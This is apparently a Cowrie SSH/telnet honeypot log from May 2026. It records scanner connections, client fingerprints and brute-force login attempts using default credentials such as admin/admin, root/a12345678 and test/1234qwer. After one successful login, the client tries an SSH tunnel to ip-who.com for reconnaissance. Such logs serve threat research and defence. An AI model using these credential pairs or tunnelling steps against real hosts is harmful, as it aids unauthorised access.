{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48674,"dst_ip":"10.17.0.5","dst_port":22,"session":"5088fc0a2a34","protocol":"ssh","message":"New connection: 45.153.34.112:48674 (10.17.0.5:22) [session: 5088fc0a2a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:08.362384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:08.365859Z","src_ip":"45.153.34.112","session":"5088fc0a2a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:08.568262Z","src_ip":"45.153.34.112","session":"5088fc0a2a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:08.839728Z","src_ip":"45.153.34.112","session":"5088fc0a2a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.60477685928345,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:09.059336Z","src_ip":"192.119.13.58","session":"6b5e993637df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44660,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f61c5f2ca16","protocol":"telnet","message":"New connection: 192.119.13.58:44660 (10.17.0.5:23) [session: 3f61c5f2ca16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:09.846987Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:09.924852Z","src_ip":"45.153.34.112","session":"5088fc0a2a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37152,"dst_ip":"10.17.0.5","dst_port":22,"session":"8492d23fde28","protocol":"ssh","message":"New connection: 45.153.34.112:37152 (10.17.0.5:22) [session: 8492d23fde28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.139933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.144694Z","src_ip":"45.153.34.112","session":"8492d23fde28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.226574Z","src_ip":"45.153.34.112","session":"8492d23fde28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55166,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6e21ac63c79","protocol":"telnet","message":"New connection: 192.119.13.58:55166 (10.17.0.5:23) [session: c6e21ac63c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.379711Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.473492Z","src_ip":"45.153.34.112","session":"8492d23fde28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":36768,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0b382e61c86","protocol":"ssh","message":"New connection: 147.45.197.250:36768 (10.17.0.5:22) [session: c0b382e61c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.479189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.486897Z","src_ip":"147.45.197.250","session":"c0b382e61c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.445984840393066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:12.576201Z","src_ip":"192.119.13.58","session":"7be4cc473b3d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:13.162290Z","src_ip":"147.45.197.250","session":"c0b382e61c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:13.565980Z","src_ip":"45.153.34.112","session":"8492d23fde28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:14.154590Z","src_ip":"147.45.197.250","session":"c0b382e61c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39974093437195,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:14.767108Z","src_ip":"192.119.13.58","session":"5f967d432d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:15.329009Z","src_ip":"147.45.197.250","session":"c0b382e61c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.981192111968994,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:15.516920Z","src_ip":"192.119.13.58","session":"8a022de8dd57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37154,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d6e860bbd5","protocol":"ssh","message":"New connection: 45.153.34.112:37154 (10.17.0.5:22) [session: 37d6e860bbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:15.741407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:15.857640Z","src_ip":"45.153.34.112","session":"37d6e860bbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:15.863849Z","src_ip":"45.153.34.112","session":"37d6e860bbd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:16.218112Z","src_ip":"45.153.34.112","session":"37d6e860bbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:17.316718Z","src_ip":"45.153.34.112","session":"37d6e860bbd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.7.61","src_port":50404,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7877cb88c5d","protocol":"ssh","message":"New connection: 27.79.7.61:50404 (159.203.135.109:22) [session: e7877cb88c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.580224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.584967Z","src_ip":"27.79.7.61","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57842,"dst_ip":"10.17.0.5","dst_port":22,"session":"48dd955c4d8c","protocol":"ssh","message":"New connection: 45.153.34.112:57842 (10.17.0.5:22) [session: 48dd955c4d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.666970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.671465Z","src_ip":"45.153.34.112","session":"48dd955c4d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.754329Z","src_ip":"45.153.34.112","session":"48dd955c4d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.900604Z","src_ip":"27.79.7.61","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.00564908981323,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:19.922312Z","src_ip":"192.119.13.58","session":"231597daa167","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:20.001153Z","src_ip":"45.153.34.112","session":"48dd955c4d8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:20.786144Z","src_ip":"27.79.7.61","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"27.79.7.61","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.050628Z","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59574,"dst_ip":"10.17.0.5","dst_port":23,"session":"65185a1c1dab","protocol":"telnet","message":"New connection: 192.119.13.58:59574 (10.17.0.5:23) [session: 65185a1c1dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.057451Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.089503Z","src_ip":"45.153.34.112","session":"48dd955c4d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":39216,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e4626af3d41","protocol":"ssh","message":"New connection: 43.173.122.127:39216 (10.17.0.5:22) [session: 7e4626af3d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.247072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.251885Z","src_ip":"43.173.122.127","session":"7e4626af3d41","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.327278Z","src_ip":"27.79.7.61","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.331453Z","src_ip":"27.79.7.61","session":"e7877cb88c5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:21.334967Z","src_ip":"43.173.122.127","session":"7e4626af3d41","protocol":"ssh"}
